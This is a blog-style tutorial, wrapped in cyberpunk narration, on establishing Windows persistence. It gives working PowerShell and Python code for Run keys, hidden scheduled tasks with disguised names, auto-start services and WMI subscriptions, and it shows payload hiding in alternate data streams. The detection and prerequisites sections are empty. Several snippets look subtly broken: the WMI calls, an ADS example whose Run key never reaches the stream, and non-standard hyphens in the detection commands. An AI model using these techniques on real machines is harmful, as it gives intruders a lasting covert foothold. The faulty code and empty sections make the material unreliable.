Establishing Windows Persistence

⏳ 8 min read

Table of Contents

Cybersecurity Illustration

Night has bled its neon veins across the city, rain-slicked concrete reflecting the multicoloured glow of holographic billboards and flickering street signs. I move through alleys of data, a drifter in circuits, wires humming like electric vines in a concrete jungle. Somewhere on the 42nd floor, a terminal emits blue code, shadows dancing across my face, eyes fixed on one goal: persistence. In these streets you never log off, you never disconnect , once you’ve gained entry, the real art is: how do you stay in?

The hum of servers is a lullaby, the flicker of monitors your heartbeat. The world beyond your screen is chaos, but inside this digital cathedral you engineer control. Establishing Windows persistence is a craft, a dark art that turns fleeting access into lasting foothold. For newcomers to cybersecurity, it is the moment you stop being an intruder, and become part of the system’s fabric.


What is Windows Persistence, why it matters

Persistence is the mechanism by which software ensures it can execute automatically when a Windows system restarts, a user logs on, or even when certain services restart. It is essential in both offensive security (so-called red teaming) and defensive security (threat detection, incident response). Understanding it helps you predict adversary behaviour, build stronger defences, even test system resilience.

Establishing persistence improperly can be detected easily by defenders, or break when Windows updates or configurations change. We will explore several persistence techniques, pros and cons, detection indicators, and practical examples. Some code examples could be used maliciously , always use them in authorised environments, for learning, testing or with explicit consent.


Common Persistence Mechanisms in Windows

  1. Startup Folder / User Startup Scripts
    Placing a script, shortcut or binary in the user’s startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup) ensures it runs when that user logs in. Simple, obvious, easy to detect. Better for low-threat scenarios, or initial footholds.

  2. Registry Run Keys
    Windows provides several registry keys that automatically run commands at startup or logon. Primary keys include:
    - HKCU\Software\Microsoft\Windows\CurrentVersion\Run (current user)
    - HKLM\Software\Microsoft\Windows\CurrentVersion\Run (all users)
    - There are also RunOnce, RunServices keys, etc.

  3. Scheduled Tasks
    Tasks can be configured to run at logon, at boot, or on a trigger. These are more discrete, more flexible, and harder to distinguish from legitimate system tasks.

  4. Service Creation
    Installing a Windows service is powerful. Services can run with elevated privileges, start automatically at boot, hide behind names that mimic legitimate services.

  5. WMI Event Subscriptions
    Windows Management Instrumentation allows subscribing to system or user events, triggering code execution when conditions are met. Harder to discover, especially if embedded in MOF (Managed Object Format) files.

  6. Boot or Login Script Policies / Group Policy
    GPOs can force scripts to be run at login or startup for many users in a domain. For adversaries in corporate networks, this offers scale.

  7. DLL Search Order Hijacking / AppInit DLLs
    By placing malicious DLLs in folders that are loaded by legitimate applications, or using registry keys that force loading of user-provided DLLs, adversaries can hook into application processes.


Actionable Insinuations: Practical Persistence Examples

Below are code snippets, for educational and defensive lab use only, showing how persistence might be established. Misuse can be illegal.

PowerShell: Establishing a Scheduled Task

This script creates a scheduled task that runs at logon for the current user.

powershell
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -File C:\Temp\persist.ps1"
$trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -TaskName "SysHelper" -Action $action -Trigger $trigger -User $env:USERNAME

Detection pointers: ScheduledTask folder under C:\Windows\System32\Tasks; TaskName “SysHelper” should look suspicious; hidden window styles; power of scheduled tasks with user privileges.

PowerShell: Registry Run Key

powershell
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $path -Name "SysUpdate" -Value "C:\Temp\persist.exe"

This registers persist.exe to run when current user logs in. Use HKLM for all users, but system protections are stronger there.

Python: WMI Event Subscription (via PyWin32)

python
import win32com.client

# Create a WMI event consumer
wmi = win32com.client.Dispatch("WbemScripting.SWbemLocator")
svc = wmi.ConnectServer(".", "root\subscription")

# Define the event filter
filter = svc.ExecMethod_("__EventFilter", "Create")
filter.Name = "UserLogonFilter"
filter.QueryLanguage = "WQL"
filter.Query = "SELECT * FROM Win32_LogonSessionStart"

# Define the event consumer
consumer = svc.ExecMethod_("CommandLineEventConsumer", "Create")
consumer.Name = "RunAtLogonConsumer"
consumer.CommandLineTemplate = "C:\\Temp\\persist.exe"

# Bind filter and consumer
binding = svc.ExecMethod_("__FilterToConsumerBinding", "Create")
binding.Filter = filter.Path_.RelPath
binding.Consumer = consumer.Path_.RelPath

Note: this uses WMI event subscription which persists until removed, even across reboots. Detectable with WMI tooling, filter and consumer names should be unusual.


Defence and Detection: How to Spot Persistence


Ethical Considerations & Responsible Use

Understanding persistence is powerful, knowledge shared here can be abused. Always operate under legal frameworks, use lab environments, gain consent for testing. In many jurisdictions unauthorised access is criminal offence. If you discover persistence in a live environment without permission report immediately through proper channels.

Beginner’s Guide to Establishing Windows Persistence

Aim

To teach how Windows persistence works in practice, enabling the reader to understand, deploy and detect persistent mechanisms using hands-on examples and code-based insights.

Learning outcomes

By the end of this guide the reader will be able to:
1. Recognise common Windows persistence techniques and where they are used.
2. Create persistent Registry entries to launch a programme on user log-on.
3. Implement Scheduled Tasks for automatic execution.
4. Use Windows Services for long-term persistence.
5. Understand detection points and mitigation strategies for each method.

Prerequisites

Steps to Establish Windows Persistence

1. Persistence via Registry Run Keys

powershell
$exePath = "C:\Tools\myapp.exe"
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MyApp" -Value $exePath
powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MyApp"
powershell
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MyApp" -Value $exePath

2. Scheduled Task Persistence

powershell
$action = New-ScheduledTaskAction -Execute "C:\Tools\myapp.exe"
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "MyStartupTask" -Action $action -Trigger $trigger -RunLevel Highest
powershell
Get-ScheduledTask -TaskName "MyStartupTask"

3. Persistence via Windows Service

powershell
sc.exe create MyService binPath= "C:\Tools\myapp.exe" DisplayName= "My Persistence Service" start= auto
sc.exe start MyService
powershell
Get-Service -Name "MyService"

4. Alternate Data Streams (ADS) or Hidden Files

powershell
# Create ADS
type C:\Tools\payload.exe > C:\Windows\System32\notepad.exe:hidden
# Registry persistence points to loader
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Loader" -Value "C:\Windows\System32\notepad.exe"

5. Detection and Mitigation

powershell
Get-ScheduledTask | Where‐Object { $_.Triggers -match "AtStartup" }
powershell
Get-Service | Where‐Object { $_.StartType -eq "Automatic" }

Conclusion

By practising these methods within a controlled environment the reader gains hands-on experience creating, verifying and detecting persistent mechanisms on Windows. These skills support both offensive and defensive security roles.

The electric hum fades, the rain ceases, windows pulse with returning dawn. You shut your laptop, knowing you have mapped a hidden architecture, you have toyed with powers of lasting control, you carry this knowledge in the marrow. Stay sharp, stay curious.